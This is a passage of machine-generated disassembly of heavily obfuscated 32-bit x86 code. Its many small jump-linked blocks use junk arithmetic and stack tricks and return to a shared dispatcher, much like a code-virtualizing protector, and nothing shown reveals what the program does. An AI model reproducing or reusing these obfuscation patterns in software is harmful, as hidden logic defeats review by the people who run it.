		xor	edi, 1B869014h
		add	ebx, edi
		pop	edi
		jmp	loc_594734
; ---------------------------------------------------------------------------


loc_58FD51:				; CODE XREF: sub_58A891+61B4j
		not	ch
		shl	ch, 2
		add	ch, 47h
		add	al, ch
		pop	ecx
		mov	ecx, [esp+30h+var_30]
		jmp	loc_592966
; ---------------------------------------------------------------------------


loc_58FD64:				; DATA XREF: sub_58A891+3C23o
		push	small 31C3h
		push	sp
		pop	small word ptr [esp+0Ch+var_C]
		push	small 3D13h
		mov	word ptr [esp+0Ch+var_C], cx
		push	ebp
		jmp	loc_58F905
; ---------------------------------------------------------------------------


loc_58FD7C:				; CODE XREF: sub_58A891+9C1Ej
		push	ecx
		mov	cl, 0CCh
		or	cl, 68h
		dec	cl
		jmp	loc_5970ED
; ---------------------------------------------------------------------------


loc_58FD89:				; CODE XREF: sub_58A891+D7DBj
		xor	ebp, 3BFC4CB3h
		not	ebp
		jmp	loc_594A89
; ---------------------------------------------------------------------------


loc_58FD96:				; CODE XREF: sub_58A891+4550j
		pop	edi
		xor	ecx, [esp-18h+arg_14]
		xor	[esp-18h+arg_14], ecx
		jmp	loc_593E7C
; ---------------------------------------------------------------------------


loc_58FDA2:				; CODE XREF: sub_58A891+5D76j
					; sub_58A891:loc_59B388j
		add	ecx, 4
		push	ebp
		jmp	loc_5962EE
; ---------------------------------------------------------------------------


loc_58FDAE:				; CODE XREF: sub_58A891+BB78j
		add	edi, edx
		pop	edx
		jmp	loc_597E0B
; ---------------------------------------------------------------------------


loc_58FDB6:				; CODE XREF: sub_58A891+5B47j
		inc	edi
		not	edi
		sub	edi, 5478AD8Ah
		jmp	loc_594AAC
; ---------------------------------------------------------------------------


loc_58FDC4:				; CODE XREF: sub_58A891+B74Bj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-18h+arg_14]
		pop	esp
		mov	[esp-1Ch+arg_18], ebx
		mov	ebx, 4
		push	eax
		mov	eax, 32DF6A5Dh
		push	ebp
		mov	ebp, 395B2398h
		jmp	loc_58F3B5
; ---------------------------------------------------------------------------


loc_58FDEF:				; CODE XREF: sub_58A891+3E4Dj
		add	eax, 2
		xor	eax, [esp+4Ch+var_4C]
		xor	[esp+4Ch+var_4C], eax
		xor	eax, [esp+4Ch+var_4C]
		mov	esp, [esp+4Ch+var_4C]
		inc	word ptr [esp+4Ch+var_4C]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FE08:				; CODE XREF: sub_58A891+9F5Dj
		xor	bl, al
		pop	eax
		mov	dl, bl
		pop	ebx
		xor	al, dl
		mov	dx, word ptr [esp+48h+var_48]
		push	4707h
		mov	[esp+4Ch+var_4C], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp+4Ch+var_4C]
		pop	esp
		push	ecx
		jmp	loc_58FC00
; ---------------------------------------------------------------------------


loc_58FE34:				; CODE XREF: sub_58A891+D238j
		mov	ebx, esp
		jmp	loc_591A16
; ---------------------------------------------------------------------------


loc_58FE3B:				; CODE XREF: sub_58A891+4F95j
					; sub_58A891+B611j
		push	esp
		pop	eax
		jmp	loc_591C5A
; ---------------------------------------------------------------------------


loc_58FE42:				; CODE XREF: sub_58A891+10B08j
		jbe	loc_594A5E
		add	ecx, 21EB54C5h
		jns	loc_5913FF
		neg	ecx
		jno	loc_58F15E
		mov	al, 6Fh
		or	al, 44h


loc_58FE60:				; CODE XREF: sub_58A891+B1E7j
		sub	ebx, 4
		push	ebx
		push	[esp+10h+var_C]
		push	[esp+14h+var_14]
		jmp	loc_5967D4
; ---------------------------------------------------------------------------


loc_58FE70:				; CODE XREF: sub_58A891+DD36j
		mov	esi, [esp+18h+var_18]
		add	esp, 4
		push	ebp
		mov	ebp, 70CF5632h
		and	ebp, 6761672Ch
		or	ebp, 3C4302E0h
		add	ebp, 0ABA1D44Ch
		add	eax, ebp
		pop	ebp
		sub	eax, ebx
		push	edx
		mov	edx, 57BC17A0h
		jmp	loc_593132
; ---------------------------------------------------------------------------


loc_58FE9E:				; DATA XREF: sub_58A891+3B03o
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp+4+var_4], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FEAC:				; DATA XREF: sub_58A891+3A43o
		mov	sp, word ptr [esp+8+var_8]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FEB5:				; CODE XREF: sub_58A891+7FA0j
		mov	eax, [esp+8+var_8]
		push	esi
		sub	esp, 4
		push	esp
		jmp	loc_5951C9
; ---------------------------------------------------------------------------


loc_58FEC5:				; CODE XREF: sub_58A891+EC5Dj
		add	ebx, edi
		push	esi
		mov	esi, 18536057h
		not	esi
		sub	esi, 0B284927h
		add	esi, 9ACDB1F5h
		sub	ebx, esi
		jmp	loc_596DA2
; ---------------------------------------------------------------------------


loc_58FEE2:				; CODE XREF: sub_58A891+10F67j
		push	edi
		mov	edi, 4AA71DD8h
		not	edi
		not	edi
		xor	edi, 79F50510h
		sub	edi, 47596F38h
		add	edi, 28EA8E9Ch
		sub	edx, edi
		pop	edi
		sub	eax, 620D27E8h
		jmp	loc_5996A0
; ---------------------------------------------------------------------------


loc_58FF0B:				; CODE XREF: sub_58A891+811Ej
		xor	ecx, 75F77DEEh
		add	ecx, 0E33D7CD5h
		sub	ebp, ecx
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_59B2FB
; ---------------------------------------------------------------------------


loc_58FF24:				; CODE XREF: sub_58A891+F206j
		mov	edi, 8031AB7h
		mov	esi, edi
		pop	edi
		or	esi, 6BF9171Bh
		jmp	loc_59BB59
; ---------------------------------------------------------------------------


loc_58FF37:				; CODE XREF: sub_58A891+4BAFj
		xor	ebp, [esp+50h+var_50]
		xor	[esp+50h+var_50], ebp
		xor	ebp, [esp+50h+var_50]
		mov	esp, [esp+50h+var_50]
		jmp	loc_592307
; ---------------------------------------------------------------------------


loc_58FF48:				; CODE XREF: sub_58A891+6960j
					; sub_58A891+ECCCj
		sub	edi, ecx
		sub	edi, 1A245C63h
		mov	ecx, [esp+50h+var_50]
		add	esp, 4
		xchg	edi, [esp+4Ch+var_4C]
		pop	esp
		mov	word ptr [esp+48h+var_48], ax
		jmp	loc_5918A1
; ---------------------------------------------------------------------------


loc_58FF66:				; CODE XREF: sub_58A891+DE99j
		sub	ecx, 7EFB5249h
		jmp	loc_58E80A
; ---------------------------------------------------------------------------


loc_58FF71:				; CODE XREF: sub_58A891+113A9j
		sub	ebx, 4
		xchg	ebx, [esp+48h+var_48]
		jmp	loc_58ED6F
; ---------------------------------------------------------------------------


loc_58FF7F:				; CODE XREF: sub_58A891+D683j
		add	ebp, 4
		xchg	ebp, [esp+48h+var_48]
		pop	esp
		add	edx, 4
		push	ecx
		mov	ecx, 2
		push	ebp
		mov	ebp, 5AC05F7Bh
		add	edx, ebp
		pop	ebp
		add	edx, ecx
		sub	edx, 5AC05F7Bh
		mov	ecx, [esp+48h+var_48]
		jmp	loc_593BB6
; ---------------------------------------------------------------------------


loc_58FFAB:				; CODE XREF: sub_58A891+98E7j
		sub	bl, cl
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 2
		xchg	ebx, [esp+4Ch+var_4C]
		pop	esp
		mov	word ptr [esp+48h+var_48], dx
		jmp	loc_595C1D
; ---------------------------------------------------------------------------


loc_58FFC9:				; CODE XREF: sub_58A891+F4EFj
		ror	word ptr [esp+48h+var_48], cl
		pushf
		jmp	loc_5995FA
; ---------------------------------------------------------------------------


loc_58FFD3:				; CODE XREF: sub_58A891+6E71j
		mov	edx, 63D679F6h
		sub	edx, 1
		jmp	loc_599562
; ---------------------------------------------------------------------------


loc_58FFE0:				; CODE XREF: sub_58A891+645Cj
		push	ebx
		mov	bl, 46h
		jmp	loc_58EED8
; ---------------------------------------------------------------------------


loc_58FFE8:				; CODE XREF: sub_58A891+5003j
		mov	ebx, 6C3698Fh
		xor	ebx, 1BC303DCh
		jmp	loc_593F97
; ---------------------------------------------------------------------------


loc_58FFF8:				; CODE XREF: sub_58A891+FC68j
		shr	ebp, 4
		shl	ebp, 3
		push	ecx
		jmp	loc_593C37
; ---------------------------------------------------------------------------


loc_590004:				; CODE XREF: sub_58A891+8165j
		push	ebx
		jmp	loc_58F3A8
; ---------------------------------------------------------------------------


loc_59000A:				; CODE XREF: sub_58A891+73A8j
		mov	ebp, 64941A99h
		shl	ebp, 3
		add	ebp, 5DC33701h
		jmp	loc_59A784
; ---------------------------------------------------------------------------


loc_59001D:				; CODE XREF: sub_58A891+A4DBj
		add	eax, 670F24E3h
		push	[esp+1Ch+var_1C]
		jmp	loc_592754
; ---------------------------------------------------------------------------


loc_59002A:				; CODE XREF: sub_58A891+D6D8j
		pop	edx
		sub	al, 0B9h
		sub	al, bl
		add	al, 0B9h
		jmp	loc_58F1BD
; ---------------------------------------------------------------------------


loc_590036:				; CODE XREF: sub_58A891+5F03j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], ebp
		push	7BF336E4h
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		dec	ebp
		jnp	loc_59589F
		xor	ebp, 2B077B46h
		jg	loc_59407E
		and	bh, 2Bh


loc_59006A:				; CODE XREF: sub_58A891+F2F9j
					; sub_58A891+1005Aj
		push	edx
		mov	dh, ch
		push	147Ah
		mov	[esp+20h+var_20], ebx
		mov	bh, dh
		jmp	loc_596742
; ---------------------------------------------------------------------------


loc_59007C:				; CODE XREF: sub_58A891:loc_5996C6j
		shl	dh, 6
		jns	loc_593791
		push	dx
		not	byte ptr [esp+22h+var_24+3]
		pop	dx
		xor	dh, 0B5h
		mov	al, dh
		pop	edx
		pop	edx


loc_590094:				; CODE XREF: sub_58A891+CA37j
		neg	ecx
		jz	loc_5953E1
		or	ecx, 59082FA7h
		jmp	loc_58F8F2
; ---------------------------------------------------------------------------


loc_5900A7:				; CODE XREF: sub_58A891+10E53j
		sub	ecx, 7D2C68CAh
		mov	esi, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_599D74
; ---------------------------------------------------------------------------


loc_5900B8:				; CODE XREF: sub_58A891+CE91j
		push	[esp+14h+var_10]
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		pop	[esp+14h+var_14]
		pop	esp
		shl	[esp+0Ch+var_C], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5900CF:				; CODE XREF: sub_58A891+936Fj
		mov	edx, ebx
		mov	ecx, edx
		pop	edx
		pop	ebx
		push	0EABFA5B6h
		pop	eax
		sub	eax, 59EF5A13h
		add	eax, ecx
		add	eax, 59EF5A13h
		pop	ecx
		add	ecx, eax
		pop	eax
		jmp	loc_58EAEB
; ---------------------------------------------------------------------------


loc_5900F0:				; CODE XREF: sub_58A891+5155j
					; sub_58A891:loc_595707j
		mov	ecx, 25ED20EBh
		xor	ecx, 25ED20EFh
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp+1Ch+var_1C]
		pop	esp
		shr	dh, 2
		not	dh
		jmp	loc_594B14
; ---------------------------------------------------------------------------


loc_590112:				; CODE XREF: sub_58A891+541Aj
					; sub_58A891+BEC1j
		push	ecx
		push	esp
		pop	ecx
		push	ebx
		push	ebp
		mov	ebp, 309C571Dh
		jmp	loc_59A290
; ---------------------------------------------------------------------------


loc_590121:				; CODE XREF: sub_58A891+99E1j
		mov	edx, 451A3250h
		xor	edx, 20A029CCh
		shr	edx, 4
		push	77A7h
		mov	[esp+54h+var_54], ecx
		jmp	loc_5988C2
; ---------------------------------------------------------------------------


loc_59013C:				; DATA XREF: sub_58A891+3A0Fo
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_597151
; ---------------------------------------------------------------------------


loc_590145:				; CODE XREF: sub_58A891+4020j
		pop	esp
		or	eax, eax
		jz	loc_593C4F
		sub	esp, 4
		mov	[esp+44h+var_44], eax
		mov	eax, 1Ch
		sub	eax, 3746E68h
		add	eax, edi
		add	eax, 3746E68h
		push	dword ptr [eax]
		push	[esp+48h+var_48]
		mov	ecx, [esp+4Ch+var_4C]
		add	esp, 4
		add	esp, 4
		mov	eax, [esp+44h+var_44]
		jmp	loc_58ECEF
; ---------------------------------------------------------------------------


loc_59017E:				; CODE XREF: sub_58A891+8721j
					; sub_58A891+10F7Dj
		mov	ebp, esp
		jmp	loc_59876C
; ---------------------------------------------------------------------------


loc_590185:				; CODE XREF: sub_58A891+11285j
		mov	eax, [esp+44h+var_44]
		add	esp, 4
		push	eax
		jmp	loc_59773E
; ---------------------------------------------------------------------------


loc_590194:				; CODE XREF: sub_58A891+6A67j
		push	[esp+44h+var_44]
		pop	ebp
		jmp	loc_5972E5
; ---------------------------------------------------------------------------


loc_59019D:				; CODE XREF: sub_58A891+482Aj
		shl	dh, 1
		jmp	loc_595CC6
; ---------------------------------------------------------------------------


loc_5901A4:				; CODE XREF: sub_58A891+DC6Cj
		jp	loc_593EA0
		jmp	loc_597BD0
; ---------------------------------------------------------------------------


loc_5901AF:				; CODE XREF: sub_58A891+3D4Cj
		mov	ebx, 400052h
		neg	ebx
		xor	ebx, 0A5FEEE19h
		sub	eax, ebx
		pop	ebx
		sub	eax, ebp
		add	eax, 5A4111B7h
		pop	ebp
		xor	ebx, eax
		push	0E81h
		mov	[esp+38h+var_38], ecx
		mov	ecx, 2Ch
		add	ecx, 65C122F9h
		sub	ecx, 667260C3h
		add	ecx, edi
		push	edx
		mov	edx, 667260C3h
		add	ecx, edx
		pop	edx
		jmp	loc_59377A
; ---------------------------------------------------------------------------


loc_5901F2:				; CODE XREF: sub_58A891+BF3Ej
		rol	[esp+38h+var_38], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5901FB:				; CODE XREF: sub_58A891+11115j
		push	dword ptr [edi+24h]
		push	ecx
		pop	dword ptr [edi+24h]
		jmp	loc_59B70E
; ---------------------------------------------------------------------------


loc_590207:				; CODE XREF: sub_58A891+B96Ej
		mov	[esp+40h+var_40], edi
		sub	esp, 4
		mov	[esp+44h+var_44], esp
		add	[esp+44h+var_44], 4
		pop	edi
		push	eax
		push	4
		pop	eax
		add	edi, eax
		mov	eax, [esp+44h+var_44]
		jmp	loc_596E6C
; ---------------------------------------------------------------------------


loc_590229:				; CODE XREF: sub_58A891+4975j
		pop	ebx
		mov	ecx, ebp
		pop	ebp
		push	esi
		mov	esi, 7D3A600Fh
		sub	ecx, esi
		jmp	loc_59946E
; ---------------------------------------------------------------------------


loc_59023A:				; CODE XREF: sub_58A891+8A83j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59023F:				; CODE XREF: sub_58A891+9F65j
		pop	esp
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 32D95DA7h
		shl	ecx, 3
		add	ecx, 8B936AA5h
		push	eax
		mov	eax, 22921ADBh
		shl	eax, 4
		jmp	loc_59027E
; ---------------------------------------------------------------------------


loc_59025F:				; CODE XREF: sub_58A891+D5EAj
		add	edi, 4
		jmp	loc_5953E1
; ---------------------------------------------------------------------------


loc_59026A:				; DATA XREF: sub_58A891+3C13o
		push	[esp+8+var_8]
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		jmp	loc_590421
; ---------------------------------------------------------------------------


loc_590279:				; CODE XREF: sub_58A891+D1C8j
		jmp	loc_598F01
; ---------------------------------------------------------------------------


loc_59027E:				; CODE XREF: sub_58A891+59C9j
		push	edx
		mov	edx, 63D361A1h
		not	edx
		dec	edx
		sub	edx, 8171B9FBh
		xor	eax, edx
		pop	edx
		add	ebp, eax
		jmp	loc_592FB7
; ---------------------------------------------------------------------------


loc_590297:				; CODE XREF: sub_58A891+894Aj
					; sub_58A891+C4A1j
		push	[esp+20h+var_20]
		pop	edx
		push	ebx
		jmp	loc_599532
; ---------------------------------------------------------------------------


loc_5902A1:				; CODE XREF: sub_58A891+A0D2j
		not	eax
		xor	eax, 613F44C3h
		neg	eax
		or	eax, 4C6F55DBh
		xor	eax, 6FFF75FFh
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp+20h+var_20]
		pop	esp
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 0DF94449h
		mov	ebp, ecx
		jmp	loc_591E44
; ---------------------------------------------------------------------------


loc_5902CD:				; CODE XREF: sub_58A891:loc_5984E2j
					; sub_58A891+F224j
		sub	ecx, esi
		pop	esi
		push	6DB2h
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, 12895A05h
		add	ecx, ebx
		pop	ebx
		push	0
		sub	[esp+1Ch+var_1C], ecx
		pop	ecx
		push	ebx
		jmp	loc_5909E8
; ---------------------------------------------------------------------------


loc_5902EF:				; CODE XREF: sub_58A891+A4BAj
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+20h+var_1C]
		jmp	loc_599614
; ---------------------------------------------------------------------------

locret_590302:				; CODE XREF: sub_58A891+A025j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_590308:				; CODE XREF: sub_58A891+108C1j
		dec	edx
		or	edx, 7C3114F8h
		push	edx
		inc	[esp+28h+var_28]
		pop	edx
		shl	edx, 7
		push	0
		jmp	loc_591C94
; ---------------------------------------------------------------------------


loc_590321:				; CODE XREF: sub_58A891:loc_5972B1j
		push	ebp
		jmp	loc_595707
; ---------------------------------------------------------------------------


loc_590327:				; CODE XREF: sub_58A891+101D3j
		mov	edi, [esp+2Ch+var_2C]
		add	esp, 4
		add	esi, 4
		jmp	loc_59828B
; ---------------------------------------------------------------------------


loc_590335:				; CODE XREF: sub_58A891+A5D2j
		pop	edx
		push	ebx
		jmp	loc_59496F
; ---------------------------------------------------------------------------


loc_59033C:				; CODE XREF: sub_58A891+102E3j
		push	ebx
		xor	[esp+2Ch+var_2C], 18434264h
		pop	edi
		xor	edi, 18434264h
		jmp	loc_595849
; ---------------------------------------------------------------------------


loc_590350:				; CODE XREF: sub_58A891+8059j
		sub	eax, 5F90D127h
		mov	esi, eax
		mov	eax, [esp+28h+var_28]
		add	esp, 4
		sub	eax, 68AB76A9h
		add	eax, esi
		jmp	loc_59289D
; ---------------------------------------------------------------------------


loc_590369:				; CODE XREF: sub_58A891+84E1j
		jmp	loc_59281A
; ---------------------------------------------------------------------------


loc_59036E:				; CODE XREF: sub_58A891+AD76j
		add	edi, eax
		jmp	loc_591DDE
; ---------------------------------------------------------------------------


loc_590375:				; CODE XREF: sub_58A891+3DF2j
		xor	ecx, 518E4AB8h
		ja	loc_59776A
		xor	ecx, 5B6D9333h
		mov	eax, ecx
		jmp	loc_5910C7
; ---------------------------------------------------------------------------


loc_59038E:				; CODE XREF: sub_58A891+47A6j
		jmp	loc_594C3B
; ---------------------------------------------------------------------------


loc_590393:				; CODE XREF: sub_58A891+6B69j
		pop	eax
		jmp	loc_58F0AB
; ---------------------------------------------------------------------------


loc_590399:				; CODE XREF: sub_58A891+E0CDj
		xor	esi, 4EA9274Eh
		push	0
		sub	[esp+34h+var_34], esi
		pop	esi
		push	ecx
		mov	ecx, 770C189Eh
		jmp	loc_59AEBA
; ---------------------------------------------------------------------------


loc_5903B3:				; CODE XREF: sub_58A891+8CCEj
		xchg	esi, [esp+34h+var_34]
		pop	esp
		jmp	loc_5969C4
; ---------------------------------------------------------------------------


loc_5903BC:				; CODE XREF: sub_58A891+7502j
		xor	ah, 0DAh
		mov	dl, ah
		push	[esp+30h+var_30]
		jmp	loc_59586D
; ---------------------------------------------------------------------------


loc_5903C9:				; CODE XREF: sub_58A891+CF1Dj
		xchg	edi, [esp+34h+var_34]
		jmp	loc_59BA8C
; ---------------------------------------------------------------------------


loc_5903D1:				; CODE XREF: sub_58A891+45BDj
		pop	ebx
		push	edi
		mov	edi, 2CA00E2Ah
		jmp	loc_58FDB6
; ---------------------------------------------------------------------------


loc_5903DD:				; CODE XREF: sub_58A891+7676j
		xchg	dh, bl
		not	dh
		xchg	dh, bl
		add	bl, 67h
		shr	bl, 4
		jmp	loc_5957DC
; ---------------------------------------------------------------------------


loc_5903EE:				; CODE XREF: sub_58A891+FBFAj
		push	edx
		push	edi
		jmp	loc_58F73B
; ---------------------------------------------------------------------------


loc_5903F5:				; CODE XREF: sub_58A891+4368j
		sub	edi, 145D254Ah
		jmp	loc_598825
; ---------------------------------------------------------------------------


loc_590400:				; CODE XREF: sub_58A891+D1EEj
		mov	[esp+18h+var_18], ecx
		mov	ecx, ebx
		push	edx
		mov	edx, ecx
		mov	edi, edx
		pop	edx
		pop	ecx
		push	[esp+14h+var_14]
		pop	ebx
		jmp	loc_59B157
; ---------------------------------------------------------------------------


loc_590415:				; CODE XREF: sub_58A891+D01Aj
		pop	edx
		add	esp, 4
		sub	cl, 27h
		jmp	loc_59693D
; ---------------------------------------------------------------------------


loc_590421:				; CODE XREF: sub_58A891+59E3j
		push	3F9h
		mov	[esp+10h+var_10], esp
		jmp	loc_59346B
; ---------------------------------------------------------------------------


loc_59042E:				; CODE XREF: sub_58A891+B5B3j
		mov	ecx, 0
		add	ecx, eax
		mov	[ecx], bl
		jmp	loc_59A2AD
; ---------------------------------------------------------------------------


loc_59043C:				; CODE XREF: sub_58A891+8B4Aj
		mov	eax, [esp+10h+var_10]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		mov	[esp+14h+var_14], ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, 16D30287h
		shr	edx, 5
		jmp	loc_592532
; ---------------------------------------------------------------------------


loc_590463:				; CODE XREF: sub_58A891+A345j
		push	eax
		push	[esp+1Ch+var_18]
		jmp	loc_594099
; ---------------------------------------------------------------------------


loc_59046D:				; CODE XREF: sub_58A891+88D8j
		mov	[esp+20h+var_20], ebx
		add	[esp+20h+var_20], 652406EBh
		pop	edi
		jmp	loc_592CC9
; ---------------------------------------------------------------------------


loc_59047D:				; CODE XREF: sub_58A891+7942j
		push	edx
		push	[esp+20h+var_1C]
		pop	edx
		pop	[esp+20h+var_20]
		jmp	loc_594892
; ---------------------------------------------------------------------------


loc_59048B:				; CODE XREF: sub_58A891+9DC6j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59049F:				; CODE XREF: sub_58A891+B450j
		mov	edi, ebp
		jmp	loc_5906AB
; ---------------------------------------------------------------------------


loc_5904A6:				; CODE XREF: sub_58A891+D90Dj
		shr	ecx, 4
		xor	ecx, 173B7CFEh
		xor	ecx, 10A54B7Fh
		jmp	loc_59A601
; ---------------------------------------------------------------------------


loc_5904BA:				; CODE XREF: sub_58A891+66E4j
		mov	eax, edi
		jmp	loc_593590
; ---------------------------------------------------------------------------


loc_5904C1:				; CODE XREF: sub_58A891+11349j
		mov	eax, [esp+1Ch+var_1C]
		sub	esp, 4
		mov	[esp+20h+var_20], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_59569E
; ---------------------------------------------------------------------------


loc_5904DC:				; CODE XREF: sub_58A891+AACDj
		add	dl, al
		mov	eax, [esp+24h+var_24]
		jmp	loc_59957F
; ---------------------------------------------------------------------------


loc_5904E6:				; CODE XREF: sub_58A891+BB94j
		push	45E8h
		mov	[esp+28h+var_28], eax
		mov	eax, 6B6C5ED1h
		neg	eax
		shl	eax, 7
		and	eax, 50A077AEh
		shl	eax, 8
		jmp	loc_597802
; ---------------------------------------------------------------------------


loc_590505:				; CODE XREF: sub_58A891+D995j
		sub	ebx, 24EF10D4h
		mov	eax, [ebx]
		mov	ebx, [esp+28h+var_28]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 68990A35h
		shl	ebx, 3
		push	esi
		jmp	loc_591B0E
; ---------------------------------------------------------------------------


loc_590522:				; CODE XREF: sub_58A891+4B9Aj
		push	2BF7C30h
		pop	ebp
		push	esi
		mov	esi, 302A0047h
		sub	esi, 559F3DECh
		sub	esi, 705EB4E5h
		xor	ebp, esi
		pop	esi
		mov	ecx, ebp
		mov	ebp, [esp+50h+var_50]
		add	esp, 4
		xor	ebx, ecx
		mov	ecx, [esp+4Ch+var_4C]
		jmp	loc_591066
; ---------------------------------------------------------------------------


loc_590552:				; CODE XREF: sub_58A891+4277j
		sub	edx, 7D2F7ADBh
		jmp	loc_597F19
; ---------------------------------------------------------------------------


loc_59055D:				; CODE XREF: sub_58A891+D856j
		sub	ebp, 16AE7E67h
		mov	edx, [esp+3Ch+var_3C]
		add	esp, 4
		jmp	loc_599B5B
; ---------------------------------------------------------------------------


loc_590571:				; CODE XREF: sub_58A891+6FEDj
		push	ebx
		mov	ebx, 0F78DEB8Fh
		xor	esi, ebx
		jmp	loc_59101F
; ---------------------------------------------------------------------------


loc_59057E:				; CODE XREF: sub_58A891:loc_58E638j
		add	eax, 0F018AE52h
		add	edx, eax
		jmp	loc_5973AB
; ---------------------------------------------------------------------------


loc_59058A:				; CODE XREF: sub_58A891+7A94j
					; sub_58A891+B24Cj
		add	ecx, 3CC26152h
		xor	edi, ecx
		pop	ecx
		sub	eax, edi
		jmp	loc_59616F
; ---------------------------------------------------------------------------


loc_59059A:				; CODE XREF: sub_58A891+A950j
		sub	edi, 1283FF3Dh
		add	eax, edi
		jmp	loc_593109
; ---------------------------------------------------------------------------


loc_5905A7:				; CODE XREF: sub_58A891+EBD1j
		dec	ebx
		inc	ebx
		jp	loc_5959F5
		push	edx
		mov	edx, 0BE6E8661h
		xor	ebx, edx
		pop	edx
		mov	edx, ebx
		push	ebx


loc_5905BB:				; CODE XREF: sub_58A891+C523j
		xchg	ebx, [esp+40h+var_40]
		pop	esp
		jmp	loc_59A01C
; ---------------------------------------------------------------------------


loc_5905C4:				; CODE XREF: sub_58A891+10268j
		add	edi, 4
		jmp	loc_593B61
; ---------------------------------------------------------------------------


loc_5905CF:				; CODE XREF: sub_58A891+A25Ej
		neg	ax
		and	ax, 5568h
		jmp	loc_59566F
; ---------------------------------------------------------------------------


loc_5905DB:				; CODE XREF: sub_58A891+4B12j
		pop	eax
		pop	[esp+30h+var_30]
		not	eax
		jmp	loc_598367
; ---------------------------------------------------------------------------


loc_5905E6:				; CODE XREF: sub_58A891+5FB1j
					; sub_58A891+92EAj
		sub	al, bl
		add	al, 0Dh
		push	754h
		mov	[esp+30h+var_30], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+30h+var_30]
		jmp	loc_59B977
; ---------------------------------------------------------------------------


loc_590605:				; CODE XREF: sub_58A891+FDA6j
		push	esp
		pop	ecx
		jmp	loc_58FDA2
; ---------------------------------------------------------------------------


loc_59060C:				; CODE XREF: sub_58A891+BC57j
		sub	esp, 4
		mov	[esp+34h+var_34], ebx
		push	2EE45D31h
		jmp	loc_597EF8
; ---------------------------------------------------------------------------


loc_59061F:				; CODE XREF: sub_58A891+AB02j
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_58EEB8
; ---------------------------------------------------------------------------


loc_590627:				; CODE XREF: sub_58A891+424Ej
		js	loc_595D35
		neg	ebp
		jmp	loc_59129F
; ---------------------------------------------------------------------------
		mov	edi, 4
		add	ecx, edi


loc_59063B:				; CODE XREF: sub_58A891+6BB2j
		add	[esp+3Ch+var_3C], 4
		jmp	loc_593739
; ---------------------------------------------------------------------------


loc_590644:				; CODE XREF: sub_58A891+839Ej
		mov	ebx, 0C370B21Eh
		add	ebx, esi
		pop	esi
		add	esi, ebx
		mov	ebx, [esp+38h+var_38]
		add	esp, 4
		xchg	esi, [esp+34h+var_34]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_590662:				; CODE XREF: sub_58A891+E96Bj
		add	bl, 0F5h
		push	cx
		mov	cl, 6Ch
		xor	bl, cl
		mov	cx, word ptr [esp+3Ah+var_3C+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp+3Eh+var_40+2]
		jmp	loc_5974EB
; ---------------------------------------------------------------------------


loc_590686:				; CODE XREF: sub_58A891+B537j
		mov	esp, [esp+3Eh+var_40+2]
		push	645Ch
		mov	[esp+42h+var_44+2], ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 794A399Eh
		not	eax
		dec	eax
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		jmp	loc_59A8F5
; ---------------------------------------------------------------------------


loc_5906AB:				; CODE XREF: sub_58A891+5C10j
		pop	ebp
		or	edi, 34647776h
		push	ebx
		mov	ebx, 105E4CD5h
		neg	ebx
		neg	ebx
		shl	ebx, 8
		add	ebx, 0D69AAA73h
		sub	edi, ebx
		pop	ebx
		jmp	loc_5957BF
; ---------------------------------------------------------------------------


loc_5906CD:				; CODE XREF: sub_58A891+B321j
		pop	edi
		push	2548h
		mov	[esp+18h+var_18], eax
		jmp	loc_5928C8
; ---------------------------------------------------------------------------


loc_5906DB:				; DATA XREF: sub_58A891+3A5Bo
		lodsd
		add	eax, 603979C8h
		sub	eax, ebx
		jmp	loc_5952FC
; ---------------------------------------------------------------------------


loc_5906E8:				; CODE XREF: sub_58A891+EC50j
		mov	[esp+8+var_8], esi
		mov	esi, esp
		push	edx
		jmp	loc_599AE3
; ---------------------------------------------------------------------------


loc_5906F3:				; CODE XREF: sub_58A891+FB2Dj
		mov	ah, 4Ah
		dec	ah
		jmp	loc_5983F8
; ---------------------------------------------------------------------------


loc_5906FC:				; CODE XREF: sub_58A891+8EF0j
		mov	edx, 0
